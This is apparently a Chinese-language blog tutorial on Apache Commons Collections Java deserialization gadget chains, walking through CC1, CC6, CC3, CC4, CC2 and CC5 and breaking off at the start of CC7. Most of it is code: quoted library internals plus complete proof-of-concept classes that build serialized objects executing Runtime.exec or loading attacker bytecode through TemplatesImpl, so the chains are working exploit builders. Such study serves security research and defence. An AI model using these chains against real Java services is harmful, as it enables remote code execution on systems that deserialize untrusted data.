Java反序列化CC链

前言

经典的Java反序列化漏洞

漏洞主要集中于Apache Commons Collections组件,其内部封装了许多方法用来方便开发人员使用。

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

环境搭建主要使用了jdk8u65,Commons Collections<=3.2.1,Commons Collections4.0

CC链分析

CC1

漏洞影响:Commons Collections<=3.2.1 jdk<8u71

首先需要关注的是Transformer接口,其逻辑如下,主要是用来接收一个对象将其进行转化

1
2
3
public interface Transformer {
public Object transform(Object input);
}

其接口具有几个关键的实现类

首先是ConstantTransformer类,其transform函数是接收任意对象,返回一个常量,关键代码如下

1
2
3
4
5
6
7
8
9
10
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}

InvokerTransformer类,transform方法通过反射实现对接收对象任意方法任意参数的调用,也是CC1链中最后执行命令的位置,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...Exception ex) {
throw ...;
}
}
}

ChainedTransformer类,其内部有一个存储Transformer类的数组,对接收的对象以此调用数组中的transform,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}

在了解了以上后,我们可以轻松的写出初步的命令执行

1
2
3
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
invokerTransformer.transform(r);

接下来需要去寻找完整调用链,即寻找调用transform函数的其他类

TransformedMap链

我们注意到TransformedMap类,其checkSetValue函数中调用了transform方法,TransformedMap类的关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}

接下来要寻找哪个类的方法调用了checkSetValue函数,经过查找后只有一处,为AbstractInputCheckedMapDecorator类的内部类MapEntry的setValue方法,MapEntry类作用是遍历整个Map,其每次会存储一个键值对,setValue方法其实是重写了AbstractMapEntryDecorator类的setValue

1
2
3
4
5
6
7
8
9
10
11
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

此时,可以写出更进一步的命令执行方式

1
2
3
4
5
6
7
8
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry: transformedMap.entrySet()){
entry.setValue(r);
}

最后,需要去寻找一个可以通过readObject方法调用到setValue函数的类

注意到AnnotationInvocationHandler类的readObject方法有和上面命令执行类似的代码,其主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class)
throw ...;
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s) throws ... {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw ...;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)) );
}
}
}
}
}

目前,看起来似乎已经找到了一个完整的调用链,但其实还存在几个问题

首先是Runtime未继承序列化接口,无法序列化,对此的解决方案是通过对Runtime.class进行反射来执行代码,因此部分代码可以修改为

1
2
3
4
5
6
7
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

接着是绕过AnnotationInvocationHandler.readObject方法的几个if判断,需要将传进去的注解内容与key相同。

最后是setValue的参数无法控制的问题,上面已经给出了方式,就是通过ConstantTransformer类来返回固定的对象。

于是,我们可以写出完整的CC1 TransformedMap链代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class CC1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(o);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

LazyMap链

上面我们分析了TransformedMap链的内容,除了TransformedMap类调用了transform方法,LazyMap类也调用了transform方法。其关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

注意到上文提及的AnnotationInvocationHandler类中invoke方法调用了get函数,其方法主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}

接下来需要绕过一些if判断,方法名不能为toString、hashCode、annotationType,且参数个数必须为0。至此,我们可以写出利用链初步的框架

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);
handler.invoke(null,Class.forName("java.lang.Object").getMethod("wait"),null);//触发点

invoke方法可以在动态代理内部触发,在对动态代理调用任意方法时,都会通过invoke方法来对接收的对象进行反射调用,而巧合的是AnnotationInvocationHandler类中readObject方法有一处memberValues.entrySet()正好符合可以绕过if判断的需求,因此可以得到完整的CC1 LazyMap调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class CC1 {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);
Map m = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
Object o = declaredConstructor.newInstance(Override.class, m);
serialize(o);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC6

漏洞影响:Commons Collections<=3.2.1 jdk1.7,1.8 影响比较大的一条链

CC6与CC1的区别在于入口点处发生改变,后面从LazyMap开始都是一样的。

注意到TiedMapEntry类中,hashCode方法调用了getValue,getValue调用了get函数,达到LazyMap的get方法调用。TiedMapEntry类主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
}

而HashMap类中反序列化时会调用hashCode,可以参考URLDNS链来完成入口点处。HashMap类主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
...;
if (...) {
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

进而可以编写CC6调用链,其中lazyMap.remove(“aaa”)是因为put方法会调用HashCode,将aaa值插入到LazyMap,导致反序列化无法正常调用,反射更改factory是为了防止命令在本地执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("ccc"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> o = new HashMap<>();
o.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, chainedTransformer);

serialize(o);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC3

还是在CC1的基础上进行改进,CC1链中只能通过反射来调用命令,CC3中引入了TemplatesImpl类进行任意类加载调用静态代码块,去除了一些限制。先看一下TemplatesImpl类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public final class TemplatesImpl implements Templates, Serializable {
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private String _name = null;
private byte[][] _bytecodes = null;
private Class[] _class = null;
private int _transletIndex = -1;
private transient Map<String, Class<?>> _auxClasses = null;
private transient TransformerFactoryImpl _tfactory = null;
public TemplatesImpl() { }
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (...Exception e) {
throw new ...Exception(err.toString());
}
}
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
}

TrAXFilter类中的构造函数中调用了newTransformer方法

1
2
3
4
5
6
7
8
9
10
11
12
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _useServicesMechanism = true;
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
}

看起来已经可以完成这条链了,但是CC3中引入了一个新的Transformer类:InstantiateTransformer,其主要功能是反射调用一个类的构造函数并执行,主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(...);
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (...Exception ex) {
throw new ...Exception("...", ex);
}
}
}

于是可以完成CC3链的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "foo");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("hack.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(o);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC4

从CC4开始,进入到commons collections4的环境中

CC4调用链的后半部分与CC3无大致差别,依旧是ChainedTransformer调用InstantiateTransformer来加载代码。

在TransformingComparator类中compare方法中调用了transform函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}

接着使用PriorityQueue的siftDownUsingComparator方法调用compare函数,恰好中PriorityQueue的readObject方法调用heapify再调用siftDown最后可以走到siftDownUsingComparator方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void readObject(java.io.ObjectInputStream s) throws ...Exception {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}

进而写出CC4代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class CC4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "foo");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("hack.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class<? extends TransformingComparator> c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC2

和CC4比较相似,区别是舍去了ChainedTransformer和InstantiateTransformer,而采用InvokerTransformer直接对TemplatesImpl调用newTransformer(因为transform接收的参数可控)

这里直接给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class CC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "foo");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("hack.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<? extends TransformingComparator> c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC5

cc5和cc7链又回到了Commons Collections<=3.2.1的范围

CC5和CC1、CC3的区别是不再借助 AnnotationInvocationHandler 的反序列化触发而是通过TiedMapEntry的toString方法调用LazyMap的get方法

1
2
3
4
5
6
7
8
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}

接着通过BadAttributeValueExpException类的readObject方法调用TiedMapEntry的toString方法完成调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class BadAttributeValueExpException extends Exception {
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

最终实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class CC5 {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);

serialize(badAttributeValueExpException);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

CC7

CC7链后半段与CC1、CC5相似,区别是通过AbstractMap的equals方法来调用LazyMap的get,再用Hashtable的reconstitutionPut方法调用equals,Hashtable关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable {
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
int origlength = s.readInt();
int elements = s.readInt();
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
}

注意到e.hash == hash的判断,因此需要对两个输入对象进行哈希碰撞,在Java中存在一个”yy”与”zZ”的哈希碰撞,于是可以顺利写出调用链,其中lazyMap0.remove(“yy”)是因为判断yy是否存在后会向lazyMap0添加一个yy的键。

1
2
3
4
5
6
7
8
9
